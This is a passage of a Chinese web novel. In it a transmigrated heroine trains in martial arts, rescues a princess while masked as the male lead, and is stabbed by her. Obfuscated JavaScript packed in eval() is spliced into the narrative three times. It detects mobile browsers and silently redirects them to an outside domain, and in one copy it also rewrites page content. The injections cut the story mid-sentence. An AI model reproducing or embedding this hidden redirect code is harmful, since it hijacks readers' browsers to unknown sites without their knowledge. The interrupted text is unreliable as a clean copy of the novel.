系统:“老皇帝本想派遣亲王之女,但依兹首领点名要真正的金枝玉叶。可他多年服食丹药,妃子所生的孩子不是残疾就是早夭,此时皇宫里面唯一的公主就是媚皇后所生的女儿,但她才八岁。媚皇后不愿让自己的女儿和亲献祭,调查之下,发现先皇后生下的不祥女婴,当时被偷梁换柱并未死去,于是倾举国之力,终于找到流落民间的公主。” 姜婋感慨道:“虽然媚皇后是本书反派,但我对她反而恨不起来,她有野心有手段,为保护自己的孩子和老皇帝斗智斗勇,若无媚皇后,这大昭早就完蛋了!” 这时画面中,殿宇巍峨,公主跪在金銮殿上。 高坐于龙椅上的皇帝为她赐封号为——昭离,以告慰多年离别之苦。 老皇帝颤颤巍巍地将她扶起,立刻下旨,授金册、赏岁禄,绝不让她再受一丝苦楚。 系统:“然而,不知内情的昭离,一时被捧上云霄,可不过短短数月,便坠入地狱,登上远嫁依兹的凤鸾……” 画面一转,铁蹄踏碎凤装霞帔,金钗滚落四散。 就在公主惊惧欲绝之时,一匹烈马撕开滚滚硝烟,那骑者正是戴着苍狼面具的男主角…… 系统:“临近丹州之时,昭离公主被回夏歹人趁机劫走。幸得顾将军带着苍狼军救下公主,两人因此结缘。顾将军不忍心爱之人被送入敌营,便主动请缨率西北五路军讨伐依兹,大战持续两年,才终于灭了伊兹,震慑回夏。昭离公主带着平定西陲的功绩,和顾将军重回兴都,至此便开启小说第二卷——夺权。” 回溯完第一卷的内容,姜婋咬着手指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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昭离回望着身后火舌漫天的宅邸,忽地流出一滴眼泪。泪水因疾驰而飞落,闪烁着化作天际的一颗星辰。 永昌十年,姜婋和昭离,犹如夜空中的双星,一方在沉寂中孕育能量,一方在黄沙中淬炼锋芒。 皓月当空,丹州军镇房内,唯有一盏孤烛燃烧。 姜婋在竹纸上写写画画,理清错综复杂的人物关系,又罗列出昭离在称帝路上会遇见各种磨难,一一拆解,寻找破局之道。 眼看蜡烛燃尽,天光微熹。 她一夜未眠,终于找到突破口,锚定了第一件重要大事——拜师学艺! 在这个副本中,武力值尤为重要,不但能助女主夺权,也可保自身安危。 姜婋先找到了顾云铮,既然他是宠妹狂魔,那想必也会有求必应吧。 不料,顾云峥却一震衣袖,摆手道:“筱筱,你莫要胡闹。” 姜婋反问:“我怎么是胡闹呢?哥,若是我再陷于昨日那般危险之中不就可以自救了吗?” 顾云铮义正言辞:“你是个女子,况且顾家枪法传男不传女。哥哥希望你这辈子平安顺遂,莫要沾染刀光剑影。” 姜婋听罢,一肚子火,厉声骂道:“还传男不传女,没有女人哪来的你?顾云铮,别忘了自己的来时路,你不是从天上掉下来的,也不是从石头缝里蹦出来的。是娘亲,是一个女人,把你从她的阴|道里,一寸一寸地生出来的!” “你要是真把我当妹子,就该让我披甲上阵,握剑为生,而不是坐在闺中等死。说得好听宠妹狂魔,你不过就是把我置于低人一等的位置,扮演保护者的角色。你不是在宠我,你是在害我!” 这番言论石破天惊,堪比诸葛亮大骂王朗,还好顾云铮身体好,不然当场吐血三尺! 顾云铮愕然:“筱筱,你——” 姜婋一摆手:“甭爹爹不休的,我还不用你教了呢!” 她不想和这种脑子里还缠着裹脚布的男人浪费口舌,于是转移目标,决定给自己换个老师。 苍狼军的军厩在营寨后方,依山傍水而建。 木栅栏中,战马各个体型高大,毛色鲜亮,可见喂马之人照顾有加。 一个体态臃肿的女人弯着腰给战马刷毛,她正是负责喂马的梁大娘。 姜婋踱着步走过来,指着她正刷毛的那匹小马驹问道:“我能骑吗?” 梁大娘打了个手语,表示她又聋又哑。 姜婋置若罔闻,又问:“我能骑这匹马吗?” 梁大娘继续打了个手语,摆摆手表示听不懂。 姜婋笑了笑,只道:“你在我面前就不必装了,我是应该叫你梁大娘,还是叫你原来的名字——野利娥若?” 那女人听到这个名字,瞬间神色一变,手掌如绽放的兰花般伸出,狠戾决绝,就在即将捏碎姜婋喉管之际,只听姜婋大呼——“精麻军!” 听见这三个字,野利娥若犹如泥塑木雕般钉在原处。 那只手顿在离姜婋喉咙一寸之地,骨节咯吱作响。 姜婋心有余悸,移开距离道:“你是精麻军的战士,对吧?黑水河之战中,回夏大败依兹,精麻军全军覆没。你当时本来已经死了,但被冲进河水,反被呛出一口余气。喂马的梁婶救了你,你便伪装成汉人留在了大营。可好人不长命,梁婶寻马之时被依兹士兵打死,你就接替了她喂马的活计。你放心,我没有恶意,我只是想让你教我武艺。” 野利娥若顿了顿,终于开了口,因多年未讲过话,声音极为干砺。 “你是顾家人,还需我来教?” 姜婋发现她的汉语说得并不标准,难怪要装哑巴。 “我虽然姓顾,但我们汉人有一条陋习,叫做——传男不传女。但你不一样,你是回夏人,回夏乃母权部落,女主掌国,连你们最精锐的部队都是女性。所以我要跟你学,我想成为像你一样勇猛的战士!” 一瞬间,野利娥若浑浊的眼中绽放出一丝神采,她已经很久没有听到“战士”这个词了,不由得自嘲一笑:“像我一样?” 姜婋道:“没错。我答应你,只要你教我武艺,我学成之后一定想办法让你回到母国。” “不必了,我已没有脸面再回去,曾经的野利娥若已经死了。” “你骗人!” 姜婋铿锵有力道:“精麻军的队长,不会如此轻易就被打败。你磨牙吮血数年,忍辱负重活到今日,便说明你心中还有一口气在!你不甘心,你在等待一个机会,证明你不是一个逃兵,你想回到你的巫珠面前,堂堂正正地告诉她,你还活着,对吗?现在,我就是你的机会——” “就凭你一个小小的女娃……” “那又如何,你不也是女人?你加入精麻军那一年,还没我大吧?” 姜婋站起身,语气一转:“如果你不答应我的请求,我就将你真实的身份告之顾云铮。这看似是一笔交易,但其实你并没有选择的权利。怎么样,要不要合作?” 野利娥若眼神愕然:“你到底是谁?你不是那整天爱哭的顾家小丫头……” 姜婋朗声道:“我是谁并不重要,重要的是,我即将成为谁。只要你教我武艺,我会让你重新成为精麻军的队长——野利娥若。这笔买卖,你入股不亏。” 就在这时,几个士兵走过来,边喊边打手势:“梁大娘,送战马到演武场。” 野利娥若卑躬屈膝地点头,牵着战马转身离开。 她刚走两步,忽而回头射出两道冷电般的目光,朝姜婋道:“你若有胆,今夜子时,丹霞峰顶见。” 27.02 夜至子时,冷月高悬。 姜婋站在丹霞峰下,仰望着高耸入云的绝壁,黑夜让它显得更加阴森可怖,嶙峋的山石犹如猛兽的利爪,透着森然的冷意。 山风呼啸,姜婋打了个寒颤。 她吸吸鼻子朝系统道:“这回夏人的脾气还真是古怪,在哪儿见不好,偏挑这陡峰崖顶。” 系统:“玩家,你已触发新支线「攻略野利娥若,完成拜师学艺」。” 姜婋震惊:“系统,你都会阶段性目标提醒了?” 系统:“因为玩家已获得‘力量’,本系统也在持续学习成长。” 姜婋道:“既然如此,那我必须要爬上山顶,和这回夏人死磕到底了!” 她一鼓作气,攀藤附葛而行,还好她和朋友玩过几次攀岩,有些技巧。 但爬至三分之一处,前路陡峭无比,岩壁湿滑,黑暗中更无法判断哪一步才是安全的落脚点。 忽然,她踩空一步,脚下碎石掉落的声响令她心头一紧,恐惧在黑暗中被无限放大。 姜婋忽地想要退缩:“要不要放弃呢?” 就在这时,山顶传来野利娥若干砺的嗓音:“胆小的汉儿,这就吓得尿裤子了?要放弃就直说,免得我陪你吹冷风!” 姜婋心道:“她何时上去的?”扭头朝山顶望去漆黑一片,随便找了个方向喊道:“你等着,我马上就上来!” 她咬紧牙关,手指用力扣住崖壁上的凹陷,沿着窄路,向上攀爬。 行至半程,她的双手因长时间用力而酸痛,连腿都开始打颤。 姜婋往后看了一眼,身后一片漆黑,前路又不见终点,想放弃的念头再次涌起…… 忽然,系统声音响起:“玩家,你想想此刻千里之外的女主角昭离,她也在湖州鱼乡历经磨砺,学习闭气泅水。” 姜婋如梦初醒,怎能在第一步就认输呢? 未来要辅助女主的称帝之路,那才是荆棘凶险,刀光血影,此刻不过是翻越一座山峰而已。 想到这里,她集中精神,抛弃杂念,只专注于脚下的每一步路。 不知走了多久,直到残月渐隐,晨曦初现,丹霞峰这才显露出原貌,只见红岩如火,翠蔓环绕,它哪里阴森可怖,明明炽热壮丽。 姜婋回望自己走过的路,那些曾让她害怕的崎岖陡石,其实并没有想象中危险,只是黑夜让一切都变得骇人。 看清这一切后,她健步如飞一口气奔到山顶。 发现早已等候多时的野利娥若,姜婋喘着粗气道:“我爬上来了,你可以教我了吗?” 野利娥若乜了她一眼,嫌弃道:“你这汉儿爬得比乌龟还慢,不过看在你不曾放弃的份上,用你们的话来说,倒也是‘孺子可教’。 ” 姜婋揉着肩膀:“夜里山路难行,你要是白天让我爬,我肯定比猴子爬的还快!” 野利娥若正色:“你说过你要成为最勇猛的战士,那你要克服的第一步便是恐惧,而恐惧多是因为未知。夜晚的丹霞峰看似狰狞陡峭,实则不然,你要做的第一件事情就是翻越这座山。等你什么时候能大气不喘,悠然自得地爬上来,我再教你下一步。” “原来如此,我明白了。” 迎着初升的日光,姜婋发现在山顶崖壁上长着一簇小白花,正是之前她花篮里的那种,远远看去星星点点,形如碎雪。 她不由得赞道:“这花倒是厉害,还能长在悬崖峭壁呢!” 只听野利娥若道:“这花乃是西陲特有的女贞花,叶片可以外敷止血,花蕊能内服治病。你可不要小瞧它,你去不了的地方,它都可以漫山遍野。” 姜婋心中一震,忽然想到自己之前说过,她如这花一样软弱可欺,不料这花可比自己厉害多了。 没想到仅仅一晚,野利娥若就让她身体力行,学会了这么多道理。 她转身便朝野利娥若恭敬一拜:“拜见师父……不对,师父指的是男子。拜见先生……阁下……拜见老师?” 野利娥若干柴般笑了一声:“你们汉儿还真是麻烦,在我们回夏受尊敬之人皆称‘姊师’,可没这么多弯弯绕绕的称谓。” 姜婋立刻拜道:“见过姊师!” 自此以后,姜婋不分昼夜征服丹霞峰,数月之后,她已可以脸不红气不喘地爬上山顶。 她朝野利娥若得意一笑:“怎么样姊师,可以教我下一步了吗?” 没想到,野利娥若拿出四个铁砂袋,往地上一扔,顿时砸出四个大坑。 “从明日起,把它们绑在手上脚上,继续爬山。” 姜婋挠头不解:“姊师,为什么还要爬山啊?我都爬了大半年了……” 野利娥若问:“你可知精麻军为何是回夏最厉害的军队?” 姜婋沉吟片刻,记起书里写过。 “因为回夏人有一族生活在群山之中,崎岖的地形锻炼了她们的肌肉,沟壑强健了她们的筋骨,而精麻军正是由这一族人组成的步兵部队。” “不错。” 野利娥若道:“你们汉人不是说,打仗讲究天时地利人和。丹州一带地形复杂,黄沙肆虐,多数时候我们并不是在平原战斗,而是在群山万壑中临军对阵,所以你需得爬遍这里的每一座山,了解所有的地形,才能借势而战。” 姜婋恍然大悟,便不再多说,绑起沙袋继续吭哧吭哧爬山。 黄沙漫漫,冬雪皑皑,晃眼间又过了数月。 姜婋已经可以绑着沙袋优哉游哉爬上丹霞峰,于是她开始征服下一座山。从此以后,丹州的每一座山上都留下了她的脚步和汗水。 而在千里之外的湖州鱼乡,蜿蜒的溪流中忽然惊起一阵水花。 破水而出的,正是女主角昭离。她也在这一年学会了凫水抓鱼,采藕织网。 她再次扎入水中,在水草荡漾的河床,游过属于她的一道道沟渠…… 风吹过荒凉的西陲,岁月如沙般悄然流逝。 姜婋开始学习骑术、武艺,初见野利娥若时,她刷洗的那匹小马驹,如今已成了姜婋的坐骑。 野利娥若教她武艺阵法,也不是一板一眼,循规蹈矩,而是主打出其不意:在她吃饭时突然偷袭,在她骑马时忽地使绊子,在她爬山时冷不丁地给袭来一招暗枪。 姜婋挨了半年打,终于忍不住问:“姊师,为什么你总是能预测到我的下一步动作?” 野利娥若道:“因为你的眼神和脚步出卖了你的想法。” 姜婋恍然大悟,这就是回夏人版的兵不厌诈,她要学会隐藏自己的想法和身法才行。 渐渐地,姜婋也变得狡猾警惕,吃饭之时虽然嘴在咀嚼,但却眼观六路,耳听八方;骑马之时,观测风吹草动,随时做好战斗准备。 之后的每一次历练,都比爬丹霞峰那次要难上百倍千倍。 但姜婋永远会记得那个黑夜里翻越恐惧,登上山顶的自己。 每当想退缩的时候,她都会想到山顶上的那一簇女贞花。它看似柔弱可怜,却能在悬崖峭壁处绽放。 偶尔她也会在脑海里想象,苍莽千里之外的女主角,是不是也在面对同样的考验,要翻越属于她的险峰。 姜婋相信终有一日,她们会在历尽千帆后从容相见…… 岁月如风,季节更替。 展眼间,永昌十四年。 皇帝赵柟发布诏令,寻找流落民间多年的公主。这个消息迅速传遍四方,连丹州的百姓都在茶余饭后议论公主的踪迹。 数月后,公主被寻回的消息如同春风吹拂大地,迅速传遍昭国每一个角落。 这一日,姜婋练习骑射直至傍晚,她想到自己就快要见到公主了,内心激动不已,一路策马疾驰,尘土在她身后扬起,如同过往的艰辛随风卷去。 身下的青骢马仿佛感受到主人的心情,也是发了性般疾驰狂奔,直如收不住脚。 也不知道奔行了多久,只觉天地间唯剩下她自己与青骢马,心跳与马蹄声合为一体。 姜婋穿过一片峡谷,忽然眼前豁然开朗,竟闯入了一片绚烂如梦的天地。 在夕阳的映照下,丹霞山峦层层叠叠,霞光横亘天际,如流火似碎金,一片霞影秀色,宛如人间仙境。 她拉住缰绳,止步于这片炽烈光辉的奇景之中,心中涌上一种难以言喻的情绪,蓦地一滴眼泪划过脸庞。 系统:“玩家,你怎么哭了?” 被系统一问,姜婋微微怔住。 她缓了缓,终于理清心中百转千回的情绪,既有即将要和女主角相见的欣喜,又有回望这几年经历的苦涩…… 她攀过高山,跌落马背,受了无数拳脚之苦,咽下多少冷暖心酸,仿佛都是为了这一刻的顿悟。 姜婋深吸一口气:“系统,我突然想起,你说过若想要什么,只能靠自己习得,是为什么了?” 系统:“为何?” “因为最重要的不是能力本身,而是训练能力的过程。那一次次跌倒后的爬起,那些濒临绝境却咬牙前行的坚持,才是最重要的能力。” 姜婋恍然道:“纵然一夕之间掌握惊世之能,如果没有承担它的心境和驾驭它的力量,最终也会被这种能力所反噬摧毁。这就是系统你之前所说的,为此必须踏上一条极为艰苦,但却最可靠的道路。” 系统:“玩家,你变了。” “哪变了?” “说话文绉绉的,倒像是书中人了。” 姜婋咧嘴笑了:“毕竟我在这个副本磨炼五年了,只是这五年时间好似白驹过隙。” 她说着伸出手,攥住了一抹夕照的余光:“有朝一日,我也要带女主昭离来见识见识这般人间奇景。” “玩家,本系统祝你早日与女主角相逢。” “谢了!” 姜婋语气一转:“不过在此之前,我还有一件事要确认。初入副本之时,男主角的救命之恩,也该还他了……” 她说罢一拉缰绳,调转马头,奔入金霞黄沙之中。 这几年来,顾云铮东荡西驰,严守边境,立下不少战功。 但这半年,依兹频频进犯挑衅,老皇帝却不肯下令出兵征战,苍狼军只能被动防御,在多方掣肘之下,败多胜少。 这日,苍狼军巡视途中遭到依兹骑兵袭击,顾云铮率军左右决荡,斩杀了一百多颗贼寇的人头! 苍狼军顿时士气大振,一路乘胜追击,冲进悬崖林立的山谷。 俄顷之间,风沙肆虐,使人视线模糊。 顾云铮见状,很快意识到不对劲,等沙尘散去,才惊觉四周已被依兹铁骑包围,原来这里正是传说中的埋骨之地——没烟峡。 这是依兹人熟悉的战场,却是苍狼军鲜少踏足的禁区。 “中计了……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15658017|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾云铮赶紧勒紧缰绳,战马焦躁地刨着地面。 周围的苍狼军警惕地举起武器,神色凝重。 依兹的伏兵在崖顶冷冷俯视着他们,长弓已然上弦。 顾云铮目光冷峻,就在他思考对策之时,风沙中惊现一道熟悉的身影,那人身披同样的玄铁铠甲,戴着苍狼纹面具,驾马狂奔而来。 敌军一瞬间骚动,方寸大乱,不知该攻向何人。 就连苍狼军都有些摸不清,此人到底是敌是友? 只见那位“顾将军”身姿穿着皆与顾云铮别无二致,那人一夹马腹,骤然冲出,高喊——“踏碎黄沙,饮血锋刃!苍狼无畏,所向无敌!” 苍狼军众将士一听,这不是我们的口号吗? 那来者必定是友军,一时间重振士气,长枪横扫,锋芒逼人! 与此同时,顾云铮也策马疾驰,迎着乱箭冲杀而上。 两道相同的身影在风沙中交错,依兹铁骑被牵扯得四分五裂。 依兹首领惊疑不定:“怎么有两个主将?!” 顾云铮发号施令,苍狼军分成两翼,趁敌军混乱之际,迅速冲破包围,杀开血路。 依兹首领惊怒交加,骤然大吼:“狡猾的汉儿,原来是我们中了他们的诡计!” 一时战马奔腾,真假难辨,依兹铁骑错失围剿良机,待风沙散去时,苍狼军早已不见踪迹。 劫后余生的苍狼军跟随两位“顾将军”一路疾驰狂奔,返回驻守的军镇。 马还未停稳,顾云铮就朝“顾将军”杀出一枪! 只见“顾将军”灵巧闪避,回身出枪,一时间枪影交错,枪花狂闪。 就连一旁的苍狼军都看呆了,尘土飞扬间,两道身影疾速交锋,枪尖碰撞发出清脆的鸣响。 顾云铮每一式皆沉稳老练,而“顾将军”却似鬼魅般灵动,步伐轻盈,竟也不落下风。 顾云铮心中骇然——这是顾家枪法,这人怎么使得? 他大喝一声:“你到底是谁?” 面具之下,姜婋狡黠一笑,心道:“我就是破了你那‘传男不传女’魔咒的克星!” 见切磋的差不多了,姜婋心中已有计较,回手故意透了个破绽。 顾云铮当即长枪裹挟疾风,直逼面门! 姜婋迅速侧身避开,“铛”地一声,枪杆击中了面具的一角,碎片飞散,露出真容。 顾云铮登时愕然,手中的长枪一时间忘了收回。 “筱筱?!竟然是你?” 姜婋嘿然一笑,“哥,我今日救了你,你怎么谢我?” “你居然会使顾家枪?”顾云铮的声音透着不可置信。 姜婋心道:“我会的可多了,以后让你慢慢见识。” 她上前一步道:“是我偷学的,为的就是有朝一日,哥哥你身陷险境之时,我能顷(qu)身(er)营(dai)救(zhi)。” 顾云铮一边难以置信,一边感慨万千:“筱筱,你长大了,不愧是顾家军的后人。” “哥,我这枪法使得如何?” 顾云铮轻咳一声道:“你这枪法疾而不稳,锐而不锋,还欠些火候。” 姜婋憋笑,见顾云铮想在属下面前维持他那男性尊严,便也不再多说,因为她已经验证了心中最想知道的答案…… 兄妹二人这数年来聚少离多,简单寒暄过后,便各自回去休整。 姜婋回到自己的砖房,脱下铠甲,又“砰砰”几声,卸掉手腕脚腕上绑的铁片沙包。 “疾而不稳,锐而不锋,那是因为我绑着沙袋!” “欠缺火候,那是因为我故意藏拙!” 她揉了揉手腕,得意一笑:“所谓男主角,也不过如此,届时凭我一人之力,定能救下公主!” 第二日,一封急诏从兴都府传来,正是公主和亲的消息。 “朕思边境安宁,百姓乐业,愿结金兰之好,以固邦交之谊。兹遣公主昭离,远嫁依兹,以示两国交睦……今遣苍狼军主将顾云铮负责丹州沿途护送,望恪尽职守,务使公主安抵依兹,无有差池。” 姜婋偷偷潜入顾云铮的军帐,在堆积如山的军情疏奏中看见了这封诏令,一时间心跳如擂鼓,等了这么久,她和女主角终于要见面了。 这种感觉就像,你有一个多年来默默关注的人,你知晓她的一切,甚至她的一举一动都会牵动你的心神,可她却对你一无所知。这种单方面付出的不对等,竟让你生出一种征服欲,你希望她的目光,有朝一日也能像你看向她一样,看向你…… 秋叶落尽,马滑霜浓,丹州迎来冬天第一场大雪,黄沙之地一夜间琼瑶匝地,积雪盈尺。 这日,望风峡中,朔风凛凛,大雪如絮。 寂静的峡谷中,忽然地面微颤,就连枝头的积雪都簌簌坠落。 车马声渐近,遥遥雪幕中,一抹炽热的红色隐隐浮现。 待行近时,方看清那是一支盛大的仪仗,红色旌旗在风雪中翻飞,正是公主和亲的队伍。 峡谷的峭壁上,一人身穿银甲完美融进漫天大雪之中,正是姜婋。 忽然,系统提示音响起:“玩家,你已正式开启故事主线「营救昭离公主」。” 姜婋拍了拍肩头的积雪,吸了吸通红的鼻尖,吐着白白的哈气—— “我的女主啊,你可终于来了!” 28.03 蜿蜒的峡谷中,辚辚车轮碾过冰雪,萧萧马蹄踏碎积霜,公主的凤鸾车好似一朵雪地中绽放的红莲。 可若仔细看的话,就会发觉四周垂落的金丝绣帷溅上了几滴血迹。 姜婋眯眼细看,随行“护卫”脚下的雪靴,也并非大昭国的军制,而是回夏兵士的样式! 她登时心下了然,真正的大昭护卫,恐怕早已葬身于这片白雪之下,而婚车之中的昭离公主,也已成了俘虏。 原小说中,昭离公主的车队,在踏入西陲境地之时就被回夏盯上,因为一旦依兹和大昭联姻,回夏便陷入两面夹击之势。为破坏这门联姻,回夏率先劫走公主,嫁祸给依兹中不赞成联姻的部落,令依兹内乱,又与大昭反目。 可回夏的诡计被男主角顾云铮识破,他单枪匹马闯入回夏军营救走公主,也正是由于这段英雄救美的桥段,让女主角昭离对他一见倾心,彻底沦陷…… “哼!” 姜婋呼出一口哈气:“我直接截胡,提前救下公主,抢走男主的高光情节,不就可以取而代之了。” 系统:“玩家,可你还戴着男主角的面具,小心弄巧成拙……” 姜婋白眼一翻:“这面具是为了唬住回夏人,等我救下公主摘了面具,便向她解释清楚。你当我爱戴这么臭的面具啊!熏死我了……” 时,一阵寒风裹挟飞雪,车队已行至近前。 姜婋隔着面具,凝望着眼前的一粒雪花,往昔种种好似闪过雪花晶枝,磨牙吮血五载,只为这一刻逆转情节! “系统,祝我好运。” “玩家,放手一搏。” 只闻“铮”地一声,银枪破雪而出,姜婋身形如隼,骤然掠入敌阵! 寒光乍闪间,便刺穿了最前方一名敌兵的手腕,一蓬血雾炸开,斑斑点点,宛如梅落霜雪。 “敌袭!” “苍狼纹面具——是顾云铮!” 回夏兵士大惊,仓促间拔刀迎战。 然而姜婋身法飘忽,借助地势翻跃于雪堆与崖壁之间,每一次枪影闪现,便绽放一朵红梅。但她并不直击要害索命,只是令对方无法反抗。 这套凌厉狠辣的顾家枪法,在姜婋使来却柔靡缱绻,银枪翻飞,宛如拈花弄月,一时千影齐放,又好似风卷残雪。 但枪花无情,落雪无意,一招一式,如花中藏刺,暗涌杀机。 刹那间,姜婋撕开缺口,直奔凤鸾花车。 战马嘶鸣,婚车随之震荡,金丝绣帷一角被寒风卷起。 姜婋侧身翻跃之际,猛然瞥见那缝隙间,车内之人的眉眼,好似开了刃的两把弯刀。 那是女主的眼睛。 仅短暂相接一霎,姜婋的心跳就骤然快了半拍。 连带着枪势微顿,她随即拧枪一斡,卷得片片雪花狂转急旋。 绣帷翩然落下,凤鸾车内,昭离只窥见一缕银甲映雪的残影。 还有对视之时,面具之下那黑如点漆的眼眸,犹如两丸化不开的兖墨。 那是顾云铮? 突然,昭离察觉到什么,眼神猝然如雪刃出鞘,锋利无比。 ——不对,这人是谁? 她侧耳倾听,只闻车外尽是枪锋与刀刃迸发出的金铁交击之音,咣咣铮铮,缠斗不歇。 也不知打了多久,忽地“铿然”一声,如冰裂霜折,短暂静默之后,只能听见断断续续的求饶呻吟。 车外,姜婋将回夏护卫尽数击败在地,作为一个遵纪守法的现代人,不杀人是她的底线。 她绕过倒伏的敌寇,迫不及待地上前,顾不上请示问安,便一把掀开车帘。 只见霞帔之下,公主双手被捆,发间金钗微乱,却依旧端坐。 她凝目望过来,眼神中并无错愕,却掺杂着几分质疑。 姜婋来不及细想公主眼中那股莫名的冷意,只知道得立刻带走女主。随即银枪一挑,斩断了束缚公主的绳索。 “你是……?”昭离轻声问道。 这一声好像枝头忽然坠落的积雪,轻柔凛冽。 不过姜婋此刻并不敢答话,生怕声音会暴露身份,毕竟敌寇还在。 她并未回答,只俯身去拉昭离。 但在触碰她之前,顿了顿,随手拉过绣帷一角,擦去掌心的血迹,方才将手伸向昭离。 昭离眉头微蹙,但还是把手搭在了她的掌心。 甫一触碰,姜婋就被冰得一激灵,刹那间涌起看这本小说时的记忆。 她很喜欢女主角昭离,果敢坚毅、聪明如斯,即便身处险境也会想尽办法求生。 但……确切的说,那是38章之前的女主角。 因为38章就是遇见男主角的章节,至此以后,昭离人设急速崩塌…… ——“这次不会了!” 姜婋心中想着,随即握紧了昭离的手。 炙热的掌心裹住冰冷的指尖,霎时间,一冷一热,在风雪间交融,逐渐趋于同温。 昭离脚尖触底之时猛地一震,只见殷红的血迹绵延一路,宛如雪地上画出的一树红梅。 姜婋从车边抽出一把绣着彩凤的红伞,遮在二人头顶,迎着风雪并肩而行,踩过的雪地留下两行深深浅浅的足迹。 雪落无声,这把红伞宛如皑皑白雪中燃烧的一豆烛火,忽地,这抹红色陡然一晃,原来是一双血手锁住姜婋的脚踝! 回夏首领怒吼:“休想带走她——” 转瞬间,那些重伤倒地的回夏士兵渐渐挣扎起身。 姜婋长靴一蹬,甩开那人的手道:“我不愿杀人,你们就不能装死配合我一下吗?” 她话音未落,旋即长枪倒转,猛然刺入身旁的山石之中。 轰隆一声巨响。 枪尖震裂岩壁,积雪崩塌,回夏士兵惊恐后退! 姜婋顺势翻身上马,拽着昭离跃上马背,两人策马疾驰,冲出雪崩范围。 远远望去,茫茫雪谷之间,只留下一红一白两道背影,在风雪中渐渐消失不见。 朔风渐和,大雪初止。 姜婋一路驾马带着公主来到西陲三国交界的安全地带——风沙渡市集。 此地街巷纵横,喧嚣鼎沸,异国商旅往来不绝。既有彪悍的依兹人兜售兽皮弯刀;也有回夏人牵着骆驼,贩卖香料草药;更有大昭南来的镖队,运来精致的瓷器、柔软的丝绸…… 这是最容易隐藏身份的地方,也是回夏人和依兹人都想不到的藏身之所。 一路上,姜婋始终戴着面具,又在小摊前给公主买了一件兽皮大氅,她正要伸手帮公主脱掉那件醒目的红衣之时,却见昭离倏地一退。 姜婋这才想起来,她现在是“顾云铮”,臭男人怎么能帮公主更衣呢? 她心中思忖,等到了安全的地方,四周无人之时,再向公主禀明身份吧。 昭离转过身去,披上大氅,将整张脸藏于兜帽之下。 她再次转过身后,低声问道:“阁下是……顾将军?” 姜婋这才行礼道:“卑职顾云铮,救驾来迟,还望公主恕罪。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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倏忽之间,昭离的声音响在身后:“顾将军——” 姜婋闻声回头,霎时瞳孔紧缩,只见寒光闪烁,尖锐的金钗猛地朝她袭来! “噗呲”一声,金钗刺入胸口,鲜血瞬间浸染衣襟。 姜婋难以置信地望向昭离,正要说什么之时,喉咙涌上一股腥甜。 昭离手指微颤,死死盯着她问道:“你不是顾将军!说——你到底是谁?” 她指尖攥着钗柄,逼问间还不忘更进一寸。 姜婋怅然苦笑,自己竟然忘了,女主角昭离玲珑心窍,聪明至斯,必然会怀疑自己。 筹谋五载“杀死”男主角,到头来反被女主角一钗反杀…… 这下玩脱了…… 姜婋意识模糊,在倒下前最后一刻,气若游丝道:“还好你刺的是右边……” 旋即“哐当”一声,倒地不起。 房间里死寂无声,只余昭离一人站在原地,她双手颤抖,胸口剧烈起伏。 半晌后,她才俯下身,缓缓伸出沾血的手,摘下姜婋的面具。 只见苍狼纹玄铁面具之下,竟映出一张女子的面容。 昭离骤然怔住,金钗自她掌心滑落,发出一声清脆的坠响。 一时间,她又惊又悔,又悸又乱,那双好似开刃弯刀的眉眼,霎时收刀入鞘! 29.04 好疼! 姜婋只觉得胸口仿佛被千万根针撕裂,四肢百骸绵软无力。 眼前漆黑一片,脚下深不见底,这般景象让她想到了攀爬丹霞峰的那一晚,也是这般没有一丝光亮,不知该走向何方…… 忽然,一个声音仿佛从天外传来:“玩家,醒一醒。” 刹那间,姜婋足下虚浮,一步踏错,直接从山顶坠落深渊! 她极力睁开双眼,才发现刚才是一场梦,眼前正有一双手帮自己换掉额头上湿润的手帕。 昭离温言道:“你醒了,快把药喝了。”说罢便递上瓷碗。 姜婋撑起身体,刚喝一口就面容扭曲,顿时苦得精神大振。 昭离垂眸歉然道:“方才情况危急,我未明你身份,不知你是女子,便刺伤了你,多有得罪,还望见谅。” 姜婋却摆摆手:“无妨,是我思虑不周,我这男子的假身份确实会让你不安,你这警惕之心很好,下次和男人共处一室,也要这么刺下去!哎呦——” 她一激动扯疼了伤口,低头见自己的胸口敷着女贞花的叶片,惊讶问道:“你怎知女贞花的叶片可外敷止血?” 昭离道:“来西陲的漫漫长路,我每日翻阅大昭送给依兹的医书,偶然间看到这种花可以入药,我看你随身带了些便用上了。” 姜婋心想:“真不愧是我的女主角,能杀我,亦能救我。” 系统的声音猛地闯入脑海:“玩家小心,女主角对你的好感度并未提高,万不可放松警惕。” 果然,昭离转过身,拿来一块令牌问道:“事发仓促,未得你允许,我在你昏迷时擅自搜了你的身。你确有顾将军的令牌,可你到底是谁?” 姜婋放下药碗:“我是顾将军的妹妹,我叫顾云筱。你可以叫我‘婋婋’,女字旁加个老虎的虎那个婋,这是我的小名。” 昭离神色稍缓,又问:“那你怎么知道和亲队伍被劫,又刚好出现在那峡谷?” “因为——” 姜婋刹住嘴闸,心想既不能如实相告,也不可随意搪塞,女主角昭离聪明至极,得想个不露破绽的理由。 